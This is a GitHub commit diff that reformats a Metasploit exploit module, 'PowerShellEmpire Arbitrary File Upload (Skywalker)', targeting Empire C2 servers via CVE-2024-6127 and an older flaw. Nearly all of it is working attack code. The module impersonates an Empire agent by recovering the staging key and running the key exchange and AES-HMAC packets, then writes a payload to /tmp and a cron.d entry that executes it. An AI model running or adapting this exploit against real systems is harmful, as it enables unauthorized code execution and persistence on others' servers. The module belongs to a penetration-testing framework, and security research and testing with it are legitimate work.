Skip to content

Commit ebcd7e0

Browse files
committed
rubocop formatting
1 parent d5ce191 commit ebcd7e0

File tree

1 file changed

+106
-104
lines changed

1 file changed

+106
-104
lines changed

modules/exploits/linux/http/empire_skywalker.rb

Lines changed: 106 additions & 104 deletions
Original file line numberDiff line numberDiff line change
@@ -19,53 +19,52 @@ class MetasploitModule < Msf::Exploit::Remote
1919
TASK_DOWNLOAD = 41
2020

2121
def initialize(info = {})
22-
super(update_info(info,
23-
'Name' => 'PowerShellEmpire Arbitrary File Upload (Skywalker)',
24-
'Description' => %q{
25-
A vulnerability existed in
26-
the new Empire (maintained by BC Security) prior to commit e73e883 (<v5.9.3) or
27-
the original PowerShellEmpire server prior to commit f030cf62
28-
which would allow an arbitrary file to be written to an
29-
attacker controlled location with the permissions of the Empire server.
30-
31-
This exploit will write the payload to /tmp/ directory followed by a
32-
cron.d file to execute the payload.
33-
},
34-
'Author' =>
35-
[
36-
'Spencer McIntyre', # Vulnerability discovery & original Metasploit module
22+
super(
23+
update_info(
24+
info,
25+
'Name' => 'PowerShellEmpire Arbitrary File Upload (Skywalker)',
26+
'Description' => %q{
27+
A vulnerability existed in
28+
the new Empire (maintained by BC Security) prior to commit e73e883 (<v5.9.3) or
29+
the original PowerShellEmpire server prior to commit f030cf62
30+
which would allow an arbitrary file to be written to an
31+
attacker controlled location with the permissions of the Empire server.
32+
33+
This exploit will write the payload to /tmp/ directory followed by a
34+
cron.d file to execute the payload.
35+
},
36+
'Author' => [
37+
'Spencer McIntyre', # Vulnerability discovery & original Metasploit module
3738
'Erik Daguerre', # Original Metasploit module
3839
'ACE-Responder', # Patch bypass discovery & Python PoC
3940
'Takahiro Yokoyama' # Update Metasploit module
4041
],
41-
'License' => MSF_LICENSE,
42-
'References' => [
43-
['CVE', '2024-6127'], # patch bypass
44-
['URL', 'https://blog.harmj0y.net/empire/empire-fails/'], # original http://www.harmj0y.net/blog/empire/empire-fails/ is not found.
45-
['URL', 'https://aceresponder.com/blog/exploiting-empire-c2-framework'], # patch bypass
46-
['URL', 'https://github.com/ACE-Responder/Empire-C2-RCE-PoC/tree/main'] # patch bypass
47-
],
48-
'Payload' =>
49-
{
50-
'DisableNops' => true,
42+
'License' => MSF_LICENSE,
43+
'References' => [
44+
['CVE', '2024-6127'], # patch bypass
45+
['URL', 'https://blog.harmj0y.net/empire/empire-fails/'], # original http://www.harmj0y.net/blog/empire/empire-fails/ is not found.
46+
['URL', 'https://aceresponder.com/blog/exploiting-empire-c2-framework'], # patch bypass
47+
['URL', 'https://github.com/ACE-Responder/Empire-C2-RCE-PoC/tree/main'] # patch bypass
48+
],
49+
'Payload' => {
50+
'DisableNops' => true
5151
},
52-
'Platform' => %w{ linux python },
53-
'Targets' =>
54-
[
52+
'Platform' => %w[linux python],
53+
'Targets' => [
5554
[ 'Python', { 'Arch' => ARCH_PYTHON, 'Platform' => 'python' } ],
5655
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
5756
[ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ]
5857
],
59-
'DefaultOptions' => { 'WfsDelay' => 75 },
60-
'DefaultTarget' => 0,
61-
'DisclosureDate' => '2016-10-15',
62-
'Notes' =>
63-
{
64-
'Stability' => [ CRASH_SAFE, ],
58+
'DefaultOptions' => { 'WfsDelay' => 75 },
59+
'DefaultTarget' => 0,
60+
'DisclosureDate' => '2016-10-15',
61+
'Notes' => {
62+
'Stability' => [ CRASH_SAFE, ],
6563
'SideEffects' => [ ARTIFACTS_ON_DISK, ],
66-
'Reliability' => [ REPEATABLE_SESSION, ],
67-
},
68-
))
64+
'Reliability' => [ REPEATABLE_SESSION, ]
65+
}
66+
)
67+
)
6968

7069
register_options(
7170
[
@@ -79,7 +78,8 @@ def initialize(info = {})
7978
OptEnum.new('CVE', [true, 'The vulnerability to use', 'CVE-2024-6127', ['CVE-2024-6127', 'Original']]),
8079
OptString.new('STAGE_PATH', [ true, 'The Empire\'s staging path, default is login/process.php', 'login/process.php' ]),
8180
OptString.new('AGENT', [ true, 'The Empire\'s communication profile agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'])
82-
])
81+
]
82+
)
8383
end
8484

8585
def check
@@ -88,7 +88,7 @@ def check
8888
Exploit::CheckCode::Appears
8989
end
9090

91-
def aes_encrypt(key, data, include_mac=false)
91+
def aes_encrypt(key, data, include_mac: false)
9292
cipher = OpenSSL::Cipher.new('aes-256-cbc')
9393
cipher.encrypt
9494
iv = cipher.random_iv
@@ -102,8 +102,8 @@ def aes_encrypt(key, data, include_mac=false)
102102
data
103103
end
104104

105-
def create_packet(res_id, data, counter=nil)
106-
data = Rex::Text::encode_base64(data)
105+
def create_packet(res_id, data, counter = nil)
106+
data = Rex::Text.encode_base64(data)
107107
counter = Time.new.to_i if counter.nil?
108108

109109
[ res_id, counter, data.length ].pack('VVV') + data
@@ -112,53 +112,55 @@ def create_packet(res_id, data, counter=nil)
112112
def reversal_key
113113
# reversal key for commit da52a626 (March 3rd, 2016) - present (September 21st, 2016)
114114
[
115-
[ 160, 0x3d], [ 33, 0x2c], [ 34, 0x24], [ 195, 0x3d], [ 260, 0x3b], [ 37, 0x2c], [ 38, 0x24], [ 199, 0x2d],
116-
[ 8, 0x20], [ 41, 0x3d], [ 42, 0x22], [ 139, 0x22], [ 108, 0x2e], [ 173, 0x2e], [ 14, 0x2d], [ 47, 0x29],
117-
[ 272, 0x5d], [ 113, 0x3b], [ 82, 0x3b], [ 51, 0x2d], [ 276, 0x2e], [ 213, 0x2e], [ 86, 0x2d], [ 183, 0x3a],
118-
[ 24, 0x7b], [ 57, 0x2d], [ 282, 0x20], [ 91, 0x20], [ 92, 0x2d], [ 157, 0x3b], [ 30, 0x28], [ 31, 0x24]
115+
[ 160, 0x3d], [ 33, 0x2c], [ 34, 0x24], [ 195, 0x3d], [ 260, 0x3b], [ 37, 0x2c], [ 38, 0x24], [ 199, 0x2d],
116+
[ 8, 0x20], [ 41, 0x3d], [ 42, 0x22], [ 139, 0x22], [ 108, 0x2e], [ 173, 0x2e], [ 14, 0x2d], [ 47, 0x29],
117+
[ 272, 0x5d], [ 113, 0x3b], [ 82, 0x3b], [ 51, 0x2d], [ 276, 0x2e], [ 213, 0x2e], [ 86, 0x2d], [ 183, 0x3a],
118+
[ 24, 0x7b], [ 57, 0x2d], [ 282, 0x20], [ 91, 0x20], [ 92, 0x2d], [ 157, 0x3b], [ 30, 0x28], [ 31, 0x24]
119119
]
120120
end
121121

122122
def rsa_encode_int(value)
123123
encoded = []
124-
while value > 0 do
124+
while value > 0
125125
encoded << (value & 0xff)
126126
value >>= 8
127127
end
128128

129-
Rex::Text::encode_base64(encoded.reverse.pack('C*'))
129+
Rex::Text.encode_base64(encoded.reverse.pack('C*'))
130130
end
131131

132132
def rsa_key_to_xml(rsa_key)
133-
rsa_key_xml = "<RSAKeyValue>\n"
134-
rsa_key_xml << " <Exponent>#{ rsa_encode_int(rsa_key.e.to_i) }</Exponent>\n"
135-
rsa_key_xml << " <Modulus>#{ rsa_encode_int(rsa_key.n.to_i) }</Modulus>\n"
136-
rsa_key_xml << "</RSAKeyValue>"
133+
rsa_key_xml = "<RSAKeyValue>\n"
134+
rsa_key_xml << " <Exponent>#{rsa_encode_int(rsa_key.e.to_i)}</Exponent>\n"
135+
rsa_key_xml << " <Modulus>#{rsa_encode_int(rsa_key.n.to_i)}</Modulus>\n"
136+
rsa_key_xml << '</RSAKeyValue>'
137137

138138
rsa_key_xml
139139
end
140140

141141
def get_staging_key
142142
# patch bypass
143143
if datastore['CVE'] == 'CVE-2024-6127'
144-
res = send_request_cgi({
145-
'method' => 'GET',
146-
'uri' => normalize_uri(target_uri.path, 'download/python/')
147-
})
148-
return unless res and res.code == 200
149-
match = /IV\+\'(.*)\'\.encode/.match(res.body)
150-
return match[1].bytes if match
151-
return
144+
res = send_request_cgi({
145+
'method' => 'GET',
146+
'uri' => normalize_uri(target_uri.path, 'download/python/')
147+
})
148+
return unless res && res.code == 200
149+
150+
match = /IV\+'(.*)'\.encode/.match(res.body)
151+
return match[1].bytes if match
152+
153+
return
152154
end
153155

154156
# STAGE0_URI resource requested by the initial launcher
155157
# The default STAGE0_URI resource is index.asp
156158
# https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L34
157159
res = send_request_cgi({
158-
'method' => 'GET',
159-
'uri' => normalize_uri(target_uri.path, datastore['STAGE0_URI'])
160+
'method' => 'GET',
161+
'uri' => normalize_uri(target_uri.path, datastore['STAGE0_URI'])
160162
})
161-
return unless res and res.code == 200
163+
return unless res && res.code == 200
162164

163165
staging_key = Array.new(32, nil)
164166
staging_data = res.body.bytes
@@ -194,24 +196,24 @@ def write_file(path, data, session_id, session_key, opts)
194196
[
195197
'0',
196198
session_id + path,
197-
Rex::Text::encode_base64(data)
199+
Rex::Text.encode_base64(data)
198200
].join('|'),
199201
server_epoch
200202
)
201203

202204
if datastore['PROFILE'].blank?
203-
profile_uri = normalize_uri(target_uri.path, %w{ admin/get.php news.asp login/process.jsp }.sample)
205+
profile_uri = normalize_uri(target_uri.path, %w[admin/get.php news.asp login/process.jsp].sample)
204206
else
205207
profile_uri = normalize_uri(target_uri.path, datastore['PROFILE'])
206208
end
207209

208210
res = send_request_cgi({
209-
'cookie' => "SESSIONID=#{session_id}",
210-
'data' => aes_encrypt(session_key, data, include_mac=true),
211-
'method' => 'POST',
212-
'uri' => normalize_uri(profile_uri)
211+
'cookie' => "SESSIONID=#{session_id}",
212+
'data' => aes_encrypt(session_key, data, include_mac: true),
213+
'method' => 'POST',
214+
'uri' => normalize_uri(profile_uri)
213215
})
214-
fail_with(Failure::Unknown, "Failed to write file") unless res and res.code == 200
216+
fail_with(Failure::Unknown, 'Failed to write file') unless res && res.code == 200
215217

216218
res
217219
end
@@ -246,31 +248,31 @@ def exploit
246248

247249
# stage1
248250
private_key = SecureRandom.hex(KEYLENGTH).hex
249-
public_key = GENERATOR.pow(private_key, PRIME).to_s.encode("UTF-8")
251+
public_key = GENERATOR.pow(private_key, PRIME).to_s.encode('UTF-8')
250252
res = send_data_to_stage(staging_key, public_key, staging_key, STAGE1, session_id)
251-
fail_with(Failure::Unknown, 'Failed to send the key to STAGE1') unless res and res.code == 200
252-
vprint_good("Successfully sent the key to STAGE1")
253+
fail_with(Failure::Unknown, 'Failed to send the key to STAGE1') unless res && res.code == 200
254+
vprint_good('Successfully sent the key to STAGE1')
253255

254256
# decrypt the response and pull out the epoch and session_key
255257
packet = aes_decrypt(staging_key, res.body)
256258
nonce = packet[..15].to_i
257259
server_pub = packet[16..].to_i
258-
sharedSecret = server_pub.pow(private_key, PRIME)
260+
shared_secret = server_pub.pow(private_key, PRIME)
259261
# https://github.com/BC-SECURITY/Empire/blob/8aca42747da6cf2b0def7edede94586f6b3258e8/empire/server/common/encryption.py#L373
260262
# _sharedSecretBytes = self.sharedSecret.to_bytes(
261263
# len(bin(self.sharedSecret)) - 2 // 8 + 1, byteorder="big"
262264
# )
263265
# 2(0b) + 1(- 2 // 8 + 1) = 3
264-
_sharedSecret = to_bytes(sharedSecret, sharedSecret.to_s(2).length + 3, little_endian=false)
266+
shared_secret = to_bytes(shared_secret, shared_secret.to_s(2).length + 3)
265267
sha = OpenSSL::Digest.new('sha256')
266-
sha.update(_sharedSecret)
268+
sha.update(shared_secret)
267269
session_key = sha.digest
268270
print_good('Successfully negotiated an artificial Empire agent')
269271

270272
# stage2
271-
sysinfo = "#{nonce+1}|#{datastore['RHOSTS']}:#{datastore['RPORT']}||:^)|:^}|127.0.1.1|:^)|False|rekt.py|2603444|python|3.11|x86_64".encode("UTF-8")
273+
sysinfo = "#{nonce + 1}|#{datastore['RHOSTS']}:#{datastore['RPORT']}||:^)|:^}|127.0.1.1|:^)|False|rekt.py|2603444|python|3.11|x86_64".encode('UTF-8')
272274
res = send_data_to_stage(session_key, sysinfo, staging_key, STAGE2, session_id)
273-
fail_with(Failure::Unknown, "Failed to communicate with STAGE2") unless res and res.code == 200
275+
fail_with(Failure::Unknown, 'Failed to communicate with STAGE2') unless res && res.code == 200
274276
aes_decrypt(session_key, res.body)
275277

276278
opts = { staging_key: staging_key }
@@ -283,18 +285,18 @@ def exploit
283285
# The default STAGE1_URI resource is index.jsp
284286
# https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L37
285287
res = send_request_cgi({
286-
'cookie' => "SESSIONID=#{session_id}",
287-
'data' => aes_encrypt(staging_key, rsa_key_to_xml(rsa_key)),
288-
'method' => 'POST',
289-
'uri' => normalize_uri(target_uri.path, datastore['STAGE1_URI'])
288+
'cookie' => "SESSIONID=#{session_id}",
289+
'data' => aes_encrypt(staging_key, rsa_key_to_xml(rsa_key)),
290+
'method' => 'POST',
291+
'uri' => normalize_uri(target_uri.path, datastore['STAGE1_URI'])
290292
})
291-
fail_with(Failure::Unknown, 'Failed to send the RSA key') unless res and res.code == 200
292-
vprint_good("Successfully sent the RSA key")
293+
fail_with(Failure::Unknown, 'Failed to send the RSA key') unless res && res.code == 200
294+
vprint_good('Successfully sent the RSA key')
293295

294296
# decrypt the response and pull out the epoch and session_key
295297
body = rsa_key.private_decrypt(res.body)
296298
server_epoch = body[0..9].to_i
297-
session_key = body[10..-1]
299+
session_key = body[10..]
298300
print_good('Successfully negotiated an artificial Empire agent')
299301

300302
opts = { server_epoch: server_epoch }
@@ -323,7 +325,7 @@ def exploit
323325
print_status("Writing cron job to #{cron_path}")
324326

325327
write_file(cron_path, cron_file(cron_command), session_id, session_key, opts)
326-
print_status("Waiting for cron job to run, can take up to 60 seconds")
328+
print_status('Waiting for cron job to run, can take up to 60 seconds')
327329

328330
register_files_for_cleanup(cron_path)
329331
register_files_for_cleanup(payload_path)
@@ -341,7 +343,7 @@ def build_routing_packet(staging_key, meta = 0, enc_data = ''.b, session_id = '0
341343
end
342344

343345
def aes_encrypt_then_hmac(key, data)
344-
data = aes_encrypt(key, data, include_mac=false)
346+
data = aes_encrypt(key, data)
345347
mac = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), key, data)
346348
data + mac[..9]
347349
end
@@ -351,11 +353,12 @@ def aes_decrypt(key, data)
351353
sha256_digest = OpenSSL::Digest.new('sha256')
352354
expected = OpenSSL::HMAC.digest(sha256_digest, key, data[..-11])[..9]
353355
unless OpenSSL::HMAC.digest(sha256_digest, key, mac) == OpenSSL::HMAC.digest(sha256_digest, key, expected)
354-
raise "Invalid ciphertext received."
356+
raise 'Invalid ciphertext received.'
355357
end
356358

357359
size = key.length * 8
358-
raise ArgumentError.new('AES key width must be 128 or 256 bits') unless (size == 128 || size == 256)
360+
fail_with(Failure::Unknown, 'AES key width must be 128 or 256 bits') unless size == 128 || size == 256
361+
359362
# Create the required cipher instance
360363
aes = OpenSSL::Cipher.new("AES-#{size}-CBC")
361364
# Generate a truly random IV
@@ -372,31 +375,30 @@ def aes_decrypt(key, data)
372375
def compress(data)
373376
start_crc32 = Zlib.crc32(data) & 0xFFFFFFFF
374377
comp_data = Zlib::Deflate.deflate(data)
375-
Base64.strict_encode64([start_crc32].pack("N") + comp_data)
378+
Base64.strict_encode64([start_crc32].pack('N') + comp_data)
376379
end
377380

378381
def build_response_packet(tasking_id, packet_data)
379-
packetType = [tasking_id].pack("S")
380-
totalPacket = [1].pack("S")
381-
packetNum = [1].pack("S")
382-
result_id = [1].pack("S")
382+
packet_type = [tasking_id].pack('S')
383+
total_packet = [1].pack('S')
384+
packet_num = [1].pack('S')
385+
result_id = [1].pack('S')
383386
packet_data = Base64.strict_encode64(packet_data)
384387
if packet_data.length % 4 != 0
385-
packet_data += "=" * (4 - packet_data.length % 4)
388+
packet_data += '=' * (4 - packet_data.length % 4)
386389
end
387-
length = [packet_data.length].pack("L")
388-
packetType + totalPacket + packetNum + result_id + length + packet_data
390+
length = [packet_data.length].pack('L')
391+
packet_type + total_packet + packet_num + result_id + length + packet_data
389392
end
390393

391-
def to_bytes(n, length=1, little_endian=false)
394+
def to_bytes(num, length = 1, little_endian: false)
392395
order = little_endian ? (0...length) : (0...length).to_a.reverse
393-
bytes_array = order.map { |i| (n >> i * 8) & 0xff }
396+
bytes_array = order.map { |i| (num >> i * 8) & 0xff }
394397
bytes_array.pack('C*')
395398
end
396399

397400
def write_file_cve_2024_6127(path, data, session_id, session_key, staging_key)
398-
path = path.split("/").join("\\")
399-
encodedPart = compress(data)
401+
path = path.split('/').join('\\')
400402
packet = build_response_packet(
401403
TASK_DOWNLOAD,
402404
[
@@ -413,10 +415,10 @@ def send_data_to_stage(session_key, packet, staging_key, task_id, session_id)
413415
enc_packet = aes_encrypt_then_hmac(session_key, packet)
414416
data = build_routing_packet(staging_key, task_id, enc_packet, session_id)
415417
res = send_request_cgi({
416-
'data' => data,
417-
'method' => 'POST',
418-
'uri' => normalize_uri(target_uri.path, datastore['STAGE_PATH']),
419-
'headers' => {'Cookie' => datastore['AGENT']}
418+
'data' => data,
419+
'method' => 'POST',
420+
'uri' => normalize_uri(target_uri.path, datastore['STAGE_PATH']),
421+
'headers' => { 'Cookie' => datastore['AGENT'] }
420422
})
421423
res
422424
end

0 commit comments

Comments
 (0)